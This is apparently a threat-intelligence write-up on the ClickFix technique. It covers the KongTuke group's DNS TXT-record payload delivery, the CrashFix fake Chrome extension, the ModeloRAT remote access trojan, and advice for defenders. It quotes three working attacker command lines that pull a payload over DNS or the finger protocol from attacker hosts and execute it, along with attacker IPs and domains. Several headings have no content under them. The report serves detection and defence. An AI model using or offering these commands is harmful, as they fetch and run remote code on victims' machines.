Key Numbers

ClickFix is currently the number one initial access method observed by Microsoft Defender Experts, surpassing traditional phishing. ESET recorded a 517% surge in detections between H2 2024 and H1 2025. At least six nation-state APT groups from Russia, Iran, and North Korea have adopted it. And in February 2026, it gained a new capability that most defenders aren't ready for.

What Is ClickFix?

ClickFix is a social engineering technique where victims are tricked into copying a malicious command and pasting it into the Windows Run dialog (Win+R), a terminal, or PowerShell. Attackers present fake CAPTCHA challenges, browser error messages, or verification prompts on compromised websites. Behind the scenes, JavaScript silently writes a malicious command to the clipboard. The victim follows the instructions—"Press Win+R, then Ctrl+V, then Enter"—and executes the payload themselves.

First observed in March 2024 when initial access broker TA571 deployed it across 100,000+ phishing messages, ClickFix quickly became the technique of choice for both cybercrime syndicates and nation-state operators. By late 2024, builders were available on criminal forums for $200–$1,500/month.

DNS as a Payload Delivery Channel

On February 13, 2026, Microsoft Threat Intelligence (@MsftSecIntel) disclosed that the KongTuke threat group had evolved ClickFix to deliver payloads through DNS TXT records. This is the first known use of DNS as a delivery channel in ClickFix campaigns.

Previous ClickFix variants relied on HTTP/HTTPS to fetch payloads—PowerShell download cradles pulling from web servers, mshta.exe fetching HTA files, curl/certutil downloading binaries. All of these create artifacts that security tools are designed to catch: URL reputation lookups, SSL inspection, web proxy logs, file downloads.

KongTuke replaced all of that with a DNS query.

How It Works

Two approaches were observed, both achieving the same result through different mechanisms:

Approach A: cmd.exe + nslookup + findstr

cmd.exe /c for /f "tokens=2 delims=: " %a in ('nslookup -type=TXT malicioustxt.attackercontrolled.com 84.21.189.20 ^| findstr "Name:"') do @%a

The victim's machine queries the attacker's DNS server (84[.]21.189[.]20) for a TXT record. The response contains a Base64-encoded PowerShell command. findstr extracts the payload from the DNS response, and it executes directly.

Approach B: PowerShell + Resolve-DnsName

powershell -w h -ep bypass -c "iex((Resolve-DnsName -Type TXT payload.bruemald.top -Server 8.8.8.8).Strings -join '')"

This variant uses the PowerShell Resolve-DnsName cmdlet to query an attacker-controlled domain (bruemald[.]top) through Google DNS (8.8.8.8), bypassing corporate DNS filters entirely. The -w h flag hides the window. The victim sees nothing.

The CrashFix Variant: Browser Extension as Entry Point

Parallel to the DNS approach, KongTuke deployed a separate attack chain called CrashFix.

A malicious Chrome extension named "NexShield — Advanced Web Guardian" was published to the Chrome Web Store, impersonating uBlock Origin Lite. It was downloaded 5,000+ times before removal. The extension ID: cpcdkmjddocikjdkbbeiaafnpdbdafmi.

The attack sequence:

1. Delayed trigger — Up to one hour after installation, the extension executes an infinite loop creating chrome.runtime port connections, exhausting browser memory. Chrome crashes.
2. Social engineering on restart — When the browser restarts, a CrashFix popup appears, instructing the user to "fix" the issue by pasting a command.
3. Persistence loop — If the user dismisses the popup without action, the extension crashes the browser again on a 10-minute timer. The cycle repeats until the user complies or removes the extension.
4. finger.exe LOLBin abuse — The pasted command copies finger.exe from System32 to %TEMP%\ct.exe, then uses the finger protocol (TCP port 79) to fetch a PowerShell payload from 199.217.98[.]108 and pipe it directly to cmd.

cmd /c start "" /min cmd /c "copy %windir%\system32\finger.exe %temp%\ct.exe&%temp%\ct.exe [email protected]|cmd"

The finger protocol is a relic from the 1970s. Almost no security tool monitors TCP port 79. The binary finger.exe is signed by Microsoft and present on every Windows installation.

The Payload: ModeloRAT

Both entry points—DNS and CrashFix—converge on the same final payload. A ZIP archive downloads from azwsappdev[.]com containing a WinPython bundle (run.exe) and the RAT components (modes.py, udp.pyw).

ModeloRAT is a previously undocumented Python-based RAT. Microsoft assigned it detection name Trojan:Python/ModeloRAT!MSR (ThreatID: 2147961433) on January 20, 2026.

Enterprise Targeting

ModeloRAT checks whether the host is domain-joined. If yes: full RAT deployment. If no: the C2 server responds with "TEST PAYLOAD!!!!" and stops. This is deliberate enterprise targeting—standalone consumer machines are ignored.

Anti-Analysis

Before executing, ModeloRAT scans running processes for 50+ analysis tools (Wireshark, x64dbg, IDA, Ghidra) and VM indicators (VMware, VirtualBox, QEMU). The C2 server implements a numeric fingerprint score—if the system doesn't resemble a real corporate victim, the server returns nothing.

C2 Protocol

Communications use RC4 encryption with a random 16-byte key, zlib compression, and a version marker (\xfe\xfe\x00\x01). Beaconing targets DGA-generated .top domains on endpoints /st2 and /1.php. Two hardcoded C2 servers: 170.168.103[.]208 and 158.247.252[.]178 (HTTP port 80).

Triple Persistence

All names are chosen to blend in with legitimate Windows services.

Who Is Behind It

KongTuke (a.k.a. TAG-124, LandUpdate808, Chaya_002) is a Traffic Distribution System (TDS) operator active since at least May 2024. They don't write the final malware—they sell access to victims. Their confirmed ransomware customers include Rhysida and Interlock. They also serve TA866/Asylum Ambuscade, SocGholish, and D3F@CK Loader operators.

ClickFix Adoption by Nation-States

Why Current Defenses Miss It

The DNS delivery method exploits structural blind spots in most enterprise security architectures:

• DNS inspection gap — Most organisations allow DNS egress without deep packet inspection. TXT record content is rarely logged or analysed.
• No HTTP artifacts — URL filtering, web proxies, and SSL inspection are irrelevant. There is no HTTP connection to inspect.
• LOLBin trust — Both nslookup.exe and finger.exe are Microsoft-signed system binaries. Application whitelisting permits them by default.
• Sigma rule gaps — The two SigmaHQ rules for nslookup cradles (written in 2022) miss both variants: Approach A uses cmd.exe as the parent process, not PowerShell; Approach B uses Resolve-DnsName, not nslookup.exe.
• User-executed payload — The victim performs the execution manually via Win+R. There is no malicious process spawn from a document, browser exploit, or email attachment.

What Defenders Should Do

• Monitor RunMRU — The registry key HKCU\...\Explorer\RunMRU stores every command pasted into the Windows Run dialog. Alert on entries containing nslookup, powershell, mshta, curl, or Base64-encoded content.
• Log DNS TXT queries — Enable DNS query logging and alert on TXT record lookups to external DNS servers, especially from nslookup.exe or PowerShell processes.
• Restrict direct DNS — Block outbound DNS (UDP/TCP 53) to all destinations except approved resolvers. This prevents attackers from hardcoding their own DNS server IP.
• Monitor finger protocol — Alert on any TCP port 79 traffic. The finger protocol has no legitimate use in modern enterprise environments.
• Hunt for persistence indicators — Search for scheduled tasks named SoftwareProtection, Run key values named MonitoringService, and pythonw.exe executing modes.py.
• Deploy RPZ blocklists — Block the known campaign domains at the DNS resolver level using Response Policy Zones.
• Inspect browser extensions — Audit for extension ID cpcdkmjddocikjdkbbeiaafnpdbdafmi and any extensions communicating with nexsnield[.]com.

MITRE ATT&CK Mapping

Timeline

Indicators of Compromise

C2 IP Addresses

Domains

File Hashes (SHA-256)

Host Indicators

Microsoft Defender Detections